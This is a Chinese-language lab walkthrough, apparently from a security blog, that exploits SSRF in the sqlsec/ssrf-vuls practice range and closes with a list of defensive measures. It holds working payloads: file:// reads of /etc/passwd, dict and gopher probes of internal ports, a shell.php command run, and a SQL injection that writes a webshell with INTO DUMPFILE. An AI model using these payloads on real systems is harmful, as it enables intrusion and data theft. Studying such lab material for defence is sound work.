SSRF作為入口點的利用
由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。
雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
SSRF入口的利用
SSRF是由一種攻擊者構造請求,由服務器端發起請求的安全漏洞。一般情況下SSRF的攻擊目標是外網無法訪問到的內部系統。(正因為請求是由服務器發起的,所以服務器端能請求到與自身相連而與外網隔離的內部系統。)
這里我用了個靶場:
https://github.com/sqlsec/ssrf-vuls
服務端請求訪問
常見的攻擊協議 Gopher協議 對目標攻擊的主要協議 gopher://xxxxx:port/主體 主體部分需要url編碼 Dict協議 探測端口操作,以及版本信息 dict://xxxxx:port/info http://xxx.xxx.xx.xx/xx/xx.php?url=http://172.21.0.2:6379(http也可以) ftp協議 只能探測是否存在ftp,不能進行爆破 http協議 用來探測是否存在ssrf sftp:// ldap:// file協議 讀取文件協議 刺探支持的協議(修改協議頭即可) gopher://:/_后面接TCP數據流(掃描) dict://xxxxx:port/info(例:dict://xxxxx:22/info,dict://xxxxx:6379/info)(爆破) ftp:///etc/passwd(file://c:\windows\win.ini,如果報錯返回絕對地址更再好不過了) http://xxxxx:port/(掃描) file://(讀取文件內容)
靶場

搭建完成后 訪問http://url:8080/
隨便請求內網,發現套娃 存在SSRF漏洞
http://127.0.0.1:8080

file:///etc/passwd # 讀取配置文件

file:///etc/hosts # 查看hosts文件

探索內部資產
可以用dict進行探測服務 加上前面看到了172.72.23.0網段

暴力破解IP和端口


探測到非常多服務
代碼

訪問172.72.23.22 發現提示,發現里面有一個shell.php的文件

是一個簡單的命令執行,使用cat%20/flag 直接讀取flag

flag{a8ebc494c479c9f03fc353b3ba81040d}
SQL注入

訪問第二個172.72.23.23 是一個sql注入的題目
簡單的get注入 判斷出為4列

然后進行一些簡單查詢

接下來直接些webshell了
http://172.72.23.23/?id=1'%20union%20select%201,2,3,''%20INTO%20DUMPFILE%20'/var/www/html/shell.php'--+

命令執行
因為是post提交數據的所以沒辦法直接提交
gopher://ip:端口/_請求內網POST數據包進行2次URL編碼 Accept-Encoding: gzip, deflate # 記得刪除!!!


成功執行命令
防護措施
1.過濾返回信息,驗證遠程服務器對請求的響應是比較容易的方法。如果web應用是去獲取某一種類型的文件。那么在把返回結果展示給用戶之前先驗證返回的信息是否符合標準。
2.統一錯誤信息,避免用戶可以根據錯誤信息來判斷遠端服務器的端口狀態。
3.限制請求的端口為http常用的端口,比如,80,443,8080,8090。
4.黑名單內網ip。避免應用被用來獲取獲取內網數據,攻擊內網。
5.禁用不需要的協議。僅僅允許http和https請求。可以防止類似于file:///,gopher://,ftp:// 等引起的問題。